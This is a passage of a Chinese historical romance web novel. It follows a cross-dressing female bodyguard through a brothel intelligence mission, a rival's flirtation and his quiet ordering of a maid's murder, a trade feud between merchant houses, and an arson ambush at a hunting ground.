花绝尝试将袁胖子拦下,刚捻起兰花指说了个“爷要不要来行酒令,玩点刺激的,一会儿就清醒了!”
那玉家二管事却色心大起,连连摆手对袁胖子说“你慢慢去,不着急回来”,然后便淫笑着去抱花绝。
云琛无奈,深深同情地看了强装镇定的花绝一眼,用口型说了句“我尽量速去速回”,而后随袁胖子离开厢房。
那袁胖子熟门熟路带着云琛来到一处亭台水榭。
水榭旁有一个小码头,停着几艘装扮的艳红柳绿的鸟船。
袁胖子掏出银子扔给看船的人,然后推着云琛要上船。
到这里,袁胖子都没有表现出任何一点色意或不正经,可云琛心里还是生出点异常,忙避开,陪笑道:
“这位爷,小的在岸上候着,给您叫两个姑娘来,陪您去醒醒酒吧!”
袁胖子爽朗一笑,“怕什么,叫你划船而已,难不成你们还叫客人自己划?”
说着他掏出一锭银子,塞给云琛,笑道:
“你放心,就是陪我去坐船醒个酒,吹吹风就回来,我还着急谈事呢!”
见袁胖子说得十分正经,理由也正常,云琛犹豫了一下。
她正要跟着袁胖子上船,却突然感受到一道熟悉的目光向她看来。
她停下脚步朝四周望,到处都是来往的恩客和姑娘们,并没有什么熟人。
只当是自己太敏感,她跟着袁胖子走上船。
不曾想,云琛刚划船行至四处无人的水中央,那袁胖子突然面色一变,画皮似的褪去人面衣冠,瞬间露出禽兽本来面目,淫笑着向云琛扑了上去。
“嘿嘿,小哥,我最近不喜欢女人,就喜欢你这样细皮嫩肉的,放心,我可会疼人了,保证不弄疼你!”
云琛完全没料到这种情况,没想到这年头扮成“男人”还这么不保险。
她差点本能使出黑虎掏心进行反击,可一想到情报还未掌握全,此时翻脸必然坏事,只能硬生生忍住动作,装成个手无缚鸡之力的小厮,连连躲避求饶。
谁知她不躲还好,一躲,竟勾得袁胖子更加**焚身,动作越发粗鲁,直接拽断她腰带,将她拉至身下。
第51章 偏偏你不知道
夜色正浓,百香楼莺歌燕舞,酒色也浓。
水榭旁的湖中央,一只鸟船晃来晃去,看得出上面的人很“猛”。
几个恩客打量着鸟船摇晃的幅度,笑得心知肚明,一脸春光。
鸟船上,云琛感觉像被头肥猪拱倒了似的,她一把攥住袁胖子手腕,正要掰断时,却见他身子一僵,翻着白眼趴了下去,露出插着根银针的后脖颈,一动也不动。
下一刻,一道白影轻盈落在船上,探身钻进船舱。
借着烛火,云琛看清来人的脸,上面是一副熟悉的没心没肺的笑容——
颜十九欢乐地叫着:
“可可爱爱小云云,我来救你啦!”
“你杀他了??”云琛想去摸袁胖子脉搏,无奈船舱太小,颜十九人高马大,半俯着身子还占了一大半空间,云琛根本站不起来。
她跌坐回去,船跟着一晃,颜十九随即脚下不稳,不受控制地往前倒去。
从云琛的角度看,只见颜十九整个人突然朝她欺身压来,宽阔的肩膀牢牢笼罩住她,脸瞬间贴到她面前。
又是鼻尖对鼻尖。
这一切发生的太快,她压根没来得及反应,傻愣愣看着他,从他棕色的瞳孔中,能清楚地看见自己有些凌乱的头发。
他并不起身避开,只勾起唇角,声音低沉道:
“方才在岸边我就瞧见你了,我猜你大概有差事在身——幸亏我跟来了,不然我可爱的小云云被吃干抹净,那可如何是好?”
平时挨他嘴上便宜也罢,时间一长,她到底被迫习惯了,只当这厮天生就是个没脸没皮的。
可在眼下这样私密的独处环境,距离那么近,再加上他那不知分寸的言辞,瞬间让她脸有点发热。
她不喜地皱起眉头,用力去推他,竟没推动:
“你把这胖子弄**,我差事怎么办——你给我起来,别压着我!”
他完全没有要起身的意思,目光灼灼,眉眼俱弯而笑,故意声音暧昧道:
“放心,他没死。我刺了他天柱穴,银针刺此处,可使人情动。他这会正美滋滋地做香梦呢!等他醒来,只会香艳到腿软轻飘,分不清梦里梦外,得晕乎两天才能慢慢清醒。我又不傻,怎能害你黄了差事。”
见她脸更红,都不敢正眼看他,他兴趣大盛,坏笑着凑近她耳边:
“小云云,你知道天柱穴吗?知道情动的意思不?”
“颜十九你这泼皮浑蛋……”她骂了一句,从脸到脖子全都染透绯色,不自然地偏过头,躲开他灼热的眼神。
他看着身下这又羞又恼的小脸,那白嫩的耳垂圆润小巧,像舌尖似的带着抹诱人的粉红。
他不自觉地呼吸加重,腰腹处有些发紧。
鬼使神差的,他抬手握住她高马尾上的束发巾环,咔嗒一声,扯了下来。
她高束的长发瞬间松散,那英姿少年气概竟也随之无影无踪。
她如墨青丝垂落下,柔柔圈起粉嫩透白的小脸,眉头微蹙,浅浅弯出个奶凶的“小酒窝”,好生惹人怜爱。
夜风微动,将她的发香深深送进他鼻腔。
盯着那近在咫尺的面容,他突然就笑不出来了,再也说不出一句玩笑话,只想好好记住这一刻、这张脸、这每一寸摄他心魄的美。
她浑然不知自己是什么天真勾人的模样,只摸摸后脑勺松散的头发,看着一旁碎裂的巾环,气恼道:
“你这家伙,好端端的扯我头发做什么,一天到晚就知道捉弄我!”
他并不回应,清晰地听着自己怦怦狂跳的心脏,全部意志都在压抑欲出的冲动。
最终,他声音暗哑:
“偏偏你不知道,我却知道。”
她眉头皱得更深,“你在说什么东西?搞不懂。你让一让,我得划船回去了,不能耽误太久,差事还没办呢。”
见她满心只有“差事”,完全不解他心中百般风情,他好笑又无奈,目光从她红艳的唇上移开,似笑非笑地说了句:
“有时候,我真讨厌做个君子。”
而后快速起身退出船舱,逃一般地离开。
对于颜十九这突然出现,撂下几句莫名其妙的话,又突然离开的风格,云琛见怪不怪。
她用小刀割下半截衣带,重新束
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好头发,然后拔下袁胖子身上的银针,将船划归。
没一会,袁胖子果然悠悠转醒,眼神涣散,一脸幸福地对她说:
“小哥,你把我的魂都吸走了……”
一直折腾到后半夜,打听完所有消息并将袁胖子和玉家二管事灌醉如死狗,云琛四人才圆满完成任务,离开青楼,往霍府走。
一路上,花绝脚步拖沓,时不时停下来,撑着膝盖,干呕一阵。
叶峮和不言从旁扶着,也随花绝走得慢。
叶峮十分不“忍心”地轻拍花绝的后背,憋笑道:“不仅卖艺,还要**……委屈你了……花魁娘子……”
花绝狠狠瞪了叶峮一眼,又看看一旁捂着嘴,上半张脸装悲痛,下半张脸分明在大笑的不言,气得一拳头捶过去,大叫:
“下次就是少主把刀架在我脖子上!我也绝不扮女人了!!玉家管事那色鬼,一见女人跟他妈狼似的……呕——”
不言再也忍不住,放声大笑起来:
“哈哈哈——我进屋的时候,那玉家管事的嘴上、脸上全都是胭脂,还把花绝的腰带搭在脖子上!嘴里麻赖赖地喊着什么‘小亲亲,让我再香几口’。我要是再晚一会进去,只怕花绝连裤衩子都没了哈哈哈哈——”
花绝一下又被勾起画面感,回想起那滑腻恶臭的口水,直接蹲在地上哇哇大吐起来。
云琛不敢笑话花绝,要不是颜十九,她只怕会比花绝还惨。
她赶忙找来水给花绝漱口,连连心疼叹气。
花绝一边吐得眼泪哗哗,一边抬眼打量云琛,问道:
“阿琛你咋样?我看那胖子一脸满足,他没把你欺负狠吧?”
云琛实在装不出来,憋了半天,只能扶住花绝的肩膀,沉重地说:
“放心,再惨也比你好多了……”
“你个……”花绝气得想大骂,刚说出两个字,又忍不住干呕。
“哈哈哈哈——”
当快乐建立在兄弟的痛苦之上,这快乐明显更快乐了。
云琛和几人闹得正开心。
突然,一撮小风袭来,精准刺中她后脖子——
第52章 我不杀女人
不知道什么东西扎在脖子上,有点刺痛。
云琛抬手摸去,是一颗小石子。
打量路两边,巷子幽长老旧,柳树成排如瀑。
她只当是墙上偶然落下来的小石子,没当回事,继续随着叶峮几人往前走。
走了没多会,又感觉后脖子微微一疼,一颗比先前大一倍的小石头落在了她衣领里。
她拿着石头,皱眉打量,下一刻,只见一块拳头大的石块直直朝着她飞来。
她赶紧抬手接住,大骂:
“颜十九!你个狗东西!给我出来!”
话音落下,夜色更静。
叶峮三人只见她对着夜空大叫,却看不到任何异常。
云琛无语,只得对叶峮道:
“叶哥,你们先回,我随后就到。这八成是颜十九那家伙在耍我。”
叶峮再次环顾四周,仍不见任何人影,心想如果真的是颜十九,那这厮的功夫倒不赖,轻功好,屏息更厉害。
“好,那你多加小心,虽说颜十九也是公主手下的大商,与我们是友非敌。但我总觉得这个人不太正派,你切莫大意。”
叶峮嘱咐了一番,而后和不言搀扶着花绝离去。
待几人走远,云琛捡起一块碗大的石头,拿在手里掂量了两下。
“颜十九,你出来,我不打你。”
四周柳叶未动,屋顶瓦片未响。
颜十九的声音由远及近,笑音说道:
“你把手里石头放下,我胆小,不经吓。”
“切!我要是再反应不过来是你,恐怕你就要拿碗大的石头砸我后脑勺了吧?”她仰头望着出现在巷边屋顶上的颜十九。
若不是怕惊扰到夜半熟睡的街坊,她高低得用手里的石头给颜十九洗个头。
颜十九不知抽什么疯,就这么一会儿功夫,还跑去换了身新衣服,大大咧咧坐在屋脊上,笑得阳光。
“我可舍不得砸你。”他拍拍身旁位置,“你上来,我有东西给你。”
大概是已与颜十九十分相熟的原因,在他面前,云琛总是一会记得自己是女儿身,一会又当个小子一样和颜十九相处。
她跃上屋顶,学着他的样子坐下。
颜十九从怀里摸出一样东西,攥成拳头,伸到她面前,笑道:
“叫声‘哥哥’听听,我就给你。”
她翻了个白眼,抬脚就要踹。
他早就预料到,赶忙起身闪躲,顺势绕到她身后。
她感觉束发处被动了一下,他就又坐了回去。
见他笑嘻嘻地看着她的头顶不说话,她抬手去摸,将那缕光滑柔软轻轻拽下,一条大红色的宝珠发带躺在手心。
是少女们常用来编发的发带。
是大老爷们儿常喜欢的颜色。
发带用的上等绸缎材质,上面坠着大大小小的天星珍珠。
“扯坏了你巾环,我拿这个赔给你,快戴上,给我瞧瞧。”他一脸期待地看着她。
犹豫了一下,她解下临时束发的衣带,然后用男子束发的样式,将新发带系上。
他歪头瞧着她扎头发的动作,细心,认真,微微撅着嘴,将墨色的长发一点收拢起来,露出少女白皙的脖颈。
他眼神忽明又忽暗,不知在想些什么。
“啧,不对,小姑娘不是这样编头发绑发带的。”
“小姑娘想怎么样编,就怎么样编,你管得着吗?”她扎到一半感觉不对,扯下发带丢还给他,“这么多珠子在上头,我这日日男人装扮,怎么带得出去,太奇怪了。”
他直呼“有道理”,飞快地将发带上面闪闪发亮的天星珍珠全部揪下来,随手一扔,将已变得光秃秃的发带重新递给她,“呐,再戴上试试,肯定不奇怪。”
“你这家伙,真是糟践好东西。”看着散落的到处都是的珍珠,她一阵肉疼。
她只好拿过发带,又捣鼓半天,头发都折腾**躁了,也没系好。
最后她只得放弃,将发带还给他,“算了算了,还是巾环方便,一卡就把头发束住了,这玩意儿你留着自己用吧。话说你方才突然离开船,就是买这东西去了?”
“当然啦,你披头散发的样子太丑,我得赶紧帮你束起来,省得招人笑话。”他吊儿郎当地笑,又换来她一个超级大白眼。
“你哦,早晚会因为嘴欠被我打死。”
“没事,死在你手里,我心甘情愿。”
他拿起发带,上面还带着她的一根长发。
他很自然地将头发拢进发带里,又顺手将发带绕在手腕上,系了个结。
一直到与云琛闲聊、分开、调戏她、又挨她踹,那发带都牢牢系在他手上。
而后,颜十九径直回到府邸,
颜十九很讨厌烟城,烟雨蒙蒙,湿漉漉的,看着小家子气。
可如今为公主手下的大商,他不得不在烟城买了宅院暂住,以随时听候公主差遣。
好在同处一城,他能时常看见云琛。
只是每次见到她时,她不是在执行什么霍乾念派给她的危险差事,就是紧跟在霍乾念身边警戒护卫。
他经常想,要是霍乾念**就好了。
如果霍乾念**,云琛肯定就会愿意做他颜十九的亲卫了。
那么,要杀一个残废,实在是容易。
不过是要小心掩盖**痕迹,避免被公主查到头上兴师问罪,还要避免被整个楠国的霍帮寻仇而已。
他越想越兴奋,高兴地盘算起来。
他很想动手。
但一想到要杀霍乾念,必得与身为亲卫的云琛动手,他又瞬间泄气。
算了,不能越界,他在云琛面前是“君子”来着。
颜十九长叹一声,仰躺在椅子上,闭着眼睛,开始回想方才他与
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云琛在屋顶上的情景。
她戴那大红色的发带可真好看。
他掀开袖口,只见那与她头发亲密接触了好一阵的发带,此刻正紧紧缠绕在他手腕上。
他小心翼翼取下发带,一根墨色长发飘飘落在他掌心。
他凝神许久,叫来婢女,命令道:
“把这根长发缝在发带里,不许弄断了。”
婢女小心接过,将长发裹在发带中,又将三指宽的发带反复对折缝绣,最后做成一条手链的样子。
他将手链系在手腕上,满意地点头,“不错,赏一锭黄金。”
婢女喜滋滋地行礼,没想到大半夜被主子叫来,是干这么一件轻松的绣活儿,自己作为新来的,不仅得主子赏识,还得了一锭金子。
大概是高兴过头的缘故,婢女一时忘了规矩,笑着开口:
“主子,这发带是送给姑娘的吧,姑娘没收吗?”
颜十九不停地转动手腕,细细打量手链,叹道:
“姑娘不会编发,只能又还给我了。还附送一根青丝,我也算赚了。”
颜十九这一回话,叫那婢女瞬间喜得不知天高地厚,捂嘴而笑:
“主子惯会说笑的,哪家姑娘不会编发呀!有娘亲天天教着,都是会编的。”
“哦?是吗?”颜十九嘴角仍然弯着,可眼里已没了笑意。
那婢女全然不见,继续托大道:
“主子,您改日将那姑娘请来,奴婢可以教姑娘编发,奴婢的手艺可好着呢,到时候顺便取一缕姑娘的头发,那不比这一根……”
“滚。”颜十九不耐烦地打断,嘴角笑意变得冰冷。
婢女的声音戛然而止,冷汗一下子冒了出来,小心恭谨地跪地行礼,小声道:“奴婢告退。”
颜十九没有再说话,直到那婢女小心翼翼地退出门,他才轻轻摩挲着腕上的手链,目不转睛地看着那红色,轻声叫了句:
“万宸。”
话音落下,一道细长的黑影从房梁落下,恭敬地跪在颜十九面前。
颜十九托起腮,将那张好看的脸靠近手链,面无表情地说:
“万宸,你知道的,我不杀女人。”顿了顿,他接着说:“你去杀吧。”
没有丝毫质疑和犹豫,万宸快速领命退下,片刻即回,将一锭染血的金子呈上。
颜十九瞥了一眼,“脏东西,扔了。”
万宸听话照做,而后继续隐上房梁,寸步不离地守在暗卫值守位。
颜十九则伸了个大大的懒腰,重新仰躺回椅子,心情愉悦地舒了口气。
他伸手在衣领里摸索一阵,拽出一根磨得发旧的绳链。
打量那银币上面的梅花破月图案,他厌恶地皱起眉头。
“我有云琛身上真正的信物了,才不要这玩意儿!”
随即,银币落入恶臭的恭桶,缓缓沉没不见。
第53章 翠头山围场
盛夏刚过,霍帮的布匹原料已送达全国各堂口。
染坊们日夜连天地淘洗、浆染,却还是比预定的时间晚了一个月出货。
等布匹送达各个裁缝铺的时候,已时近夏末。
为了让霍帮的布匹销得快,玉家硬生生忍住一夏的买卖良机,压着库里的布不上货,就等着人们穿了霍帮布坊的东西,起疹,生病,再闹出几条人命,告到官衙。
如玉家的愿,霍乾念特意安排了一大帮人假装身上皮疹,告去了官府,其中还牵扯不少有头有脸的人物。
在南璃君的授意下,官府张贴告示,重金寻民间懂草药布匹之人,查清霍帮布匹的问题。
告示张贴出去三天,霍乾念安排好的草药商人便主动上门自首,说是玉家的人买通了原料商,在霍帮进购的原料里掺了白藤草汁,故意害之。
官府雷厉风行,直接拿下那姓袁的原料商,还没等用刑逼问,那袁胖子就倒了个干干净净,甚至还拿出了与玉家的私约书。
这一来,玉家彻底愣了。
那草药商人又说,他就是贩卖白藤草汁的人,因为感念霍帮行事善良仁义,他早就将白藤草汁换成了玉竹汁,少部分人穿上衣服会起红疹,大部分人则穿上美容养颜,于皮肤大大有益。
这话一出,霍帮堂口上的布匹立马倾销一空,供不应求。
霍帮顺势收购了市面上所有美容养颜可入布匹的草药,直接垄断了“美容养颜布料”的行当。
等玉家彻底反应过来的时候,霍帮的八千万斤布料已遍布全国各地,远远不止袁胖子那几百万斤。
玉家库房里积压的料子只能贱卖。
原料商也纷纷倒戈,寻求与霍帮合作。
一边是官衙问罪,原料商反目,库房布匹积压发霉,赔钱都卖不出去。
另一边是霍帮的堂口、染坊、裁缝铺们忙得热火朝天,赚得盆满钵满。
玉阳基气的直接晕过去两次,据说醒来的时候还在大骂:
“‘霍帮行事善良仁义??’我放**屁!!‘玉竹汁?玉猪之??’给我把那堂口管事杀了!!!”
整场事件最后落幕在玉家那二管事的畏罪自裁中。
官府抓不到罪魁祸首,霍帮也得了大利,干脆借坡下驴,撤销诉状,甚至要出钱厚葬那玉家二管事,又在民间博了番同情和名声。
为庆祝这番大获成功,公主特意邀请霍帮去山林游玩狩猎,地点选在烟城外最大的翠头山围场。
一大群亲兵和霍帮护卫们在围场四周警戒巡逻,守卫着公主南璃君与霍乾念高台饮酒。
听说那色眯眯的玉家管事**,刚巡逻完的花绝高兴得真想放炮仗。
“要不是顾忌全天下的眼睛盯着,我真想给那厮挖出来鞭尸!”花绝恨恨地说。
叶峮接替花绝,一边朝巡逻路线走去,一边道:
“别了,人家好歹也算个送财的小鬼,明年的年节又是大赏,咱得谢谢他呢!”
不言赶紧从旁接话,坏笑:
“叶哥这话不对,谢那厮干啥,要谢也得谢咱‘花魁娘子’牺牲色相啊哈哈哈哈——”
知道自己得挨揍,不言说完就跑,跳到云琛身后去躲。
花绝一边叫骂一边追了上去。
隔着云琛,那俩人一个追一个逃,一个打一个躲,害得她身上白挨了好几下。
云琛护着前襟,“我说你俩,到一边卿卿我我去行不?别误伤围观群众好不好?”
花绝抓不到不言,干脆一把扑倒云琛,准备使出男人们常用的下流把戏玩闹。
不言见状也加入阵营,压在云琛身上挠痒。
见叶峮已走远,只是望着嬉闹的几人在笑,没有来帮忙的意思,云琛吓得挣扎大叫:
“狗哥救命!!狗哥救我!!”
不远处的荀戓听到动静,赶忙小跑来,随手拾起两根树枝,飞扎在花绝和不言后背,制止了二人的动手。
“哎呦”一声,
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二人疼得停下动作,一摸才发现衣服都被扎破了。
花绝正要发怒,荀戓跑过来扶起云琛,对二人赔笑道:
“花大护卫,不大护卫,实在不好意思,我一着急,下手重了,对不住,我给您二位赔衣服!”
不言并不在意,大咧地摆摆手,惊奇道:
“你这家伙厉害啊,果真随便捡个东西都能当暗器!佩服佩服!”
花绝则十分不爽,嘴角一压,眉头一拧,下巴一扬,斥道:
“敢对亲卫动手?哪来的乡巴佬不懂规矩?”
云琛知道,荀戓在最近几次外派办差中表现出色,深得霍乾念赏识,被调来近处跟差,惹得花绝**病又犯了。
她跳起来拍拍身上的土,抬手去戳花绝的鼻孔,“给你说多少次了,少用鼻孔看人!对狗哥客气点!”
花绝不高兴地躲闪开云琛的动作,用眼角瞥着荀戓,孩子气地质问:
“阿琛,我和这乡巴佬,到底谁是你兄弟?你向谁,说!你向谁?”
云琛偷笑一声,左右各自勾住花绝和荀戓的脖子,然后靠近花绝耳朵,拖长音调,一字一字地说:
“我——像——你——爹——”
趁花绝愣神的功夫,云琛已经拽着不言飞快地跑远。
花绝大骂着追上去:“臭小子!今天花爷爷不给你俩头打开花!你们都不知道我为什么姓花!”
云琛回头望去,边跑边勾手挥舞,大笑:“念啥绕口令呢?凑近点,爹耳朵不好,听不清——”
不言跳上云琛后背,学着花绝扮女子的样子,捻起兰花指,掐着嗓子叫道:“大点声儿,让为娘的也听听——哈哈哈哈哈哈——”
花绝气地跳脚,直接轻功而起,猛追过去。
荀戓见状,从地上抓了把小石头,笑道:“阿琛,不护卫,你们尽管跑,后面交给我!”
几人追逐笑闹,乐作一团,笑声随风穿过空旷的围场,传进霍乾念的耳朵。
第54章 错配鸳鸯
云琛的笑声远远地传过来。
霍乾念举杯慢饮,目光却越过杯沿空隙,望向远处她自在如风的身影。
那高高的少年束发,随着挺拔的身姿飞扬,连头发丝都是雀跃的。
南璃君托着腮,看看远处的云琛几人,又看看霍乾念,笑道:
“那俊俏的云琛小护卫甚得我心,要不我把菘蓝许配给他,咱们亲上再结个亲,如何?”
一旁叫菘蓝的女官微笑着上前行礼,姿态不卑不亢,“菘蓝见过霍少主。”
霍乾念抬眸看了一眼,甚至都未看清那菘蓝长什么模样,便道:
“不了,云琛****糙糙,别辱没公主殿下身边的大女官了。”
“瞧瞧,霍少主眼光极高,竟没瞧上你。”南璃君像是早知道会得到这样的回答,故意对菘蓝说了一句,然后君话锋一转,又对霍乾念道:
“菘蓝是与我一同长大的女官,身世样貌皆非凡女,如今位列一等,乃我左膀右臂。小云琛虽然乖觉,但菘蓝也相当配得起他。”
霍乾念抿下一口茶,清清心,语调平静:
“殿下抬举云琛,但只可惜他不中意菘蓝女官这样的,就莫错配鸳鸯了。”
“哦?不中意菘蓝这样的,那中意什么样的?”南璃君追问。
“中意什么样,自然遇见中意之人才可知,是高是矮,是胖是瘦,是男是女,皆意料之外,心意之中。”
“听霍少主这话,倒像是自己有意中人了?”南璃君打趣。
霍乾念吞下一大口茶,彻底放下君臣面皮,淡淡道:
“殿下,你特意把我拉到这鸟毛不见的地方,让我这个残疾人来看别人狩猎,就是为了拿我寻开心?”
南璃君轻笑起来,那眉眼弯弯,璀璨如星,美得人挪不开眼。
“好了好了,我发现了,小云琛是你的逆鳞,那我不说了。快让小云琛带你骑马去吧。听闻你能坐马,我特意命人打制了一副高马鞍,必定牢固,劳烦霍少主去打些东西来吃吧。”
霍乾念眉梢微挑,还没等他说话,南璃君就赶忙做主喊来云琛几人,叫他们护卫着霍乾念去猎场玩玩。
待霍乾念和一大群霍帮护卫走远,南璃君长舒一口气,拍拍心口,一脸如释重负的样子。
那叫菘蓝的女官看着好笑:
“您是堂堂楠国长公主,怎的忌惮霍乾念呢?他说到底不过一介商贾。”
没有外男在场,南璃君终于可以放开大吃大喝,她仰头干了一杯酒,高高兴兴地啃鸡脚,说道:
“长公主?没有我娘留下的前朝重臣和玄甲军旧部撑腰,没有他霍乾念一边对付玉阳基,一边支撑我这头的开销,公主不过是个漂亮的虚位。我既有求于他,自然将一身**捋顺了给他。而且他那架势你又不是没瞧见,板起脸来超吓人好嘛?”
啃完鸡脚,南璃君琢磨了一会,认真对菘蓝说:
“你是我最看重的女官,若不是霍乾念双腿不能行,我实在不愿委屈你,不然肯定要将你许配给他的。原本想着,那就将你许配他最看重的心腹也行,那云琛你见过的,长得很好,性子也纯善。”
菘蓝听罢微微一笑,朝南璃君行礼,“只要能于殿下有助益,菘蓝但凭殿下安排。”
南璃君满意地点点头,将鸡骨头扔进瓷钵,语气忽而变得清冷,“不急,菘蓝,他若总是这样不知趣,那咱就寻机会换个新的。旧的嘛——”
菘蓝心知肚明,别有意味地说道:
“旧的,自然是要除旧、迎新。”
另一边,霍帮众人离开高台,向围场深处进发。
翠头山围场里有四五座山头,叶峮选了地势相对平坦,有山有水、有坡有涧,景色繁复的一处山。
叶峮、花绝、不言和荀戓等十几个护卫随护,云琛熟练地将霍乾念安置上马,为他系好绑腿,扭头一看,这才发现人人有马,就她还站在地上。
“阿琛,照顾好少主。”叶峮说。
再看其他人,好像都默认是她云琛又开始带着霍乾念骑马,那自然该由她与霍乾念共乘一匹。
没办法,云琛只得翻身而上,骑坐在霍乾念身前。
刚坐稳,霍乾念的手已快她一步,拉住缰绳轻轻甩动:“驾——”她同时默契地夹了夹马肚子。
随着马踏步前行,二人的身体随之起起伏伏,腰胯压浪前顶,霍乾念的怀抱有意无意地拥着云琛的后背,激得她身子不由自主地发僵。
察觉到她的异常,他稍微低头,呼吸温**拂在她耳边,声音低沉有力:
“怎么,不舒服吗?”
她后背绷得笔直,两条胳膊不知道放在哪儿才好,只能环抱交叉在胸前,声音不自然:
“没……好得很……”
“哦。”
她没有回头,却感觉到一股气息轻轻撩在脖子上,像是他无声地轻笑了一下。
少主笑啥呢?她不懂。
走出去一段距离,前方突然窜过一只野兔,云琛立马来了精神。
未等她说话,缰绳已递至眼前,霍乾念的声音带着纵容的笑意,“交给你了,打两只兔子来尝尝——”
云琛瞬间喜笑颜开,什么不自在都忘了,接过缰绳,大力一夹马肚子,猛窜了出去。
她紧追野
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兔,驾马速度不减,瞅准时机松开缰绳,抬弓拉箭,一箭贯穿野兔双眼。
瞧着那干净利落的箭法,霍乾念忍不住赞声“好身手!”
她勒马驰过,压腰拾起箭矢和兔子,完全忘记自己与霍乾念此时是前胸贴后背的亲密距离,光顾着回头,差点亲到他喉结。
她高兴地举着兔子,“少主,你看!”
他不着痕迹地后仰半寸,嘴角向上弯起,“很好,再射两只来。”
“好嘞!”
得了霍乾念发话,云琛犹如那疯兔驾马,全然忘记后面还驮着她那双腿不能自理的少主,只一个劲儿地猛冲、急刹、旋转、跳跃......
一路上打了大大小小十几只兔子、狐狸、松鼠……挂满了马屁股。
叶峮几人在后面大呼小叫,跟得十分费力。
见云琛越玩越疯,不言一边策马狂奔,一边忍不住从后面大吼:
“阿琛!你他娘……”想起霍乾念还在云琛马上,不言硬生生将脏话憋回去,改口道:“你是来林子里进货的吗?已经打了十几只了!够了够了!”
等众人在一处草地停下来时,云琛马屁股上已经挂了里三层外三层的猎物,堆得快放不下了。
叶峮领着众护卫迅速清理出一片干净空地,在溪水旁将猎物剥皮拔**,熟练地生火、串肉、架烤。
肉吃到嘴里,不言倒不嫌云琛进货太多了。
花绝伺候着霍乾念吃兔子腿,对云琛道:
“阿琛,你不是懂些草药香料吗?去寻些来,压压腥味吧。”
“遵命!”云琛欢快地拍拍屁股跳起来。
叶峮嘱咐她“小心点,注意戒备!”云琛回句“晓得!”头都没回就跑远了。
难得游山玩水,远离人来人往,又不在霍府,没有一大堆规矩束缚着,众护卫们都颇感轻松,望着青山绿水,有说有笑地吃着野味,十分惬意。
霍乾念吃罢,端了杯子喝茶,“已经快一刻时间了,云琛怎么还不回来?”
叶峮看了眼没什么变化的天色,“少主,那我去寻寻。”
话音刚落,就听见云琛的声音从林子里传来。
她大呼小叫着一路飞奔,惊起林中树木草丛狂舞,火星飞溅。
隔着老远,花绝瞧见云琛屁股着火的跑来,不由大笑:
“你干啥要生火?小心别把林子点了!”
云琛奔跑不停,嘴里大叫着什么,众人都没听清。
只有身处近卫队里的荀戓发现不太对劲,他就近跳上一棵树,望了两眼,立时脸色大变:
“阿琛好像在说‘快跑!有火攻刺客!’”
第55章 赏个大的
云琛跌跌撞撞跑出林子,众人这才看清她身侧扎着半截火箭矢,火已经将她整个后背衣服烧了起来。
她表情痛苦,冲霍乾念的方向大叫:
“保护少主!有刺客火攻烧山!”
荀戓第一个迎面扑上云琛,用衣服将她后背裹住灭火,然后飞快地拖着她跳进溪水降温,用刀尖割破她皮肉,将带着倒钩的断箭挑出来挖掉。
另一边,随着云琛一声大喊,叶峮和众护卫纷纷抽出武器戒备,叶峮迅速指挥阵型围护霍乾念,两个护卫麻利地将霍乾念安置上马。花绝和不言飞奔向四周,查看危机形势。
霍乾念坐在马上,目光焦灼在溪水方向:
“云琛如何?”
荀戓将云琛从水中拉起,只见她后背衣服已经烧穿,起了一大片红白色的大水泡,有的已经破裂,正往外渗着血。
荀戓将外衣脱下来,给云琛穿上。
云琛疼得几乎没有力气说话,只浑身湿漉漉地爬起来,脸色苍白地看向霍乾念,摆了摆手,示意无事。
几乎是一瞬间,霍乾念的神色变得黢黑阴厉,如刀般穿过层层密林,望向高台南璃君的方向。
花绝和不言轻功而归,急声道:
“刺客在百丈外点了个大火圈,已将我们围困其中。火圈特意将干草和硝石混合在一起,烧得极快,突围不出去!”
众**惊,不约而同地看向溪水。
溪水清浅,连三五个人都容不下,根本抵挡不住火烧。
眼见黑烟形成包围,越来越近,火烧味越来越浓,霍乾念下令:
“一队人以溪水为圆心,清理五十丈空地,不留任何杂草树木。另一队舀溪水浇透空地,确保泥土湿润!”
叶峮与众护卫立刻领命行动,花绝、不言和云琛自觉形成三角阵型,举好铁盾,将霍乾念从马上放下来,护卫其中。
云琛后背钻心地疼,令她分不清身上是溪水还是血水。
她强忍着痛,努力控制声音不颤抖:
“我方才在林子里与刺客正面相遇,对方手里有火箭矢,大家小心!”
见云琛脸色苍白,满头冷汗,情况看起来十分不妙,不远处忙着舀水浇土的荀戓忧心忡忡,赶来建议道:
“铁盾只有半身长,护不全,不如将马赶过来,围靠在一起,做最外围的抵挡,胜算更大些!”
“可!”霍乾念应允。
叶峮几人立刻拉来所有马,荀戓飞快解下缰绳,将马串联拴在一起。
但火圈越烧越近,马极有灵性,已经开始烦躁不安,不停踱步,根本没办法好好围成一个圈。
万般无奈之下,霍乾念咬牙下令:
“断马腿!”
叶峮等人领命照做,云琛抱住马头,捂住马眼睛,叶峮几人挥刀劈下,纷纷砍断马腿。
熊熊燃烧的火圈已近在眼前,在马儿们痛苦的嘶鸣声中,所有护卫跳进马身围绕的保护圈,层层交错护立,举好盾牌,牢牢围护住霍乾念。
云琛看见沉重的盾牌立在马身上,那方才还载着她和霍乾念快乐狩猎的马儿,此刻只能痛苦地抽搐、哀嚎,断裂的马腿汩汩流着鲜血,将脚下的土地浸泡成泥。
纵使都是血海刀山里打滚的汉子,见惯了生死鲜血,可骑马的人都把马当兄弟,怎能不心痛。
但身兼护卫之责,护主永远是第一要紧。
况且如果不以马匹作盾牌抵挡,那便得以护卫们的血肉之躯抵挡。
火圈很快烧到极限小,停在空地外圈,围着众人噼啪燃烧,灼得人眉毛发烫。
云琛原本湿漉漉的衣服,很快被烘得发烫,后背的伤开始火辣辣地疼,她的嘴唇。
“阿琛,我替你吧!”荀戓在一旁悄声说。
云琛颤了颤毫无血色的嘴唇,想说话,却疼得说不出。
她摇摇头,接着胳膊被人用力一拉,整个人朝后坐下。
是紧挨在她身后的霍乾念。
他将她拉坐下,摁住她的肩膀,对叶峮下令:
“云琛的位置由荀戓顶替。”
“是,少主。”叶峮领命,立刻开始向荀戓嘱咐阵型和要领。
花绝在一旁看着刺眼,十分排斥突然塞进来个荀戓。
不言看出花绝的心思,小声劝他:
“阿琛脸色太差了,忍忍吧。”
花绝拉着脸,“我知道,我若开口,阿琛必会为这乡巴佬强撑着上岗。我不说,忍一手。”
众人不再说话,全部心神高度集中,防备随时会出现新敌情。
一时间,周围只有火光燃烧的呼呼声环绕耳畔。
因为太过安静的缘故,霍乾念完全没办法将注意力从云琛身上移开,目光不停落在她后背。
幸亏她发现得早,报信早,给
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了众人匆忙应对和布阵的时间。
可她呢?
她穿着荀戓的外衣,整个后背已完全被血和水泡积液染透。
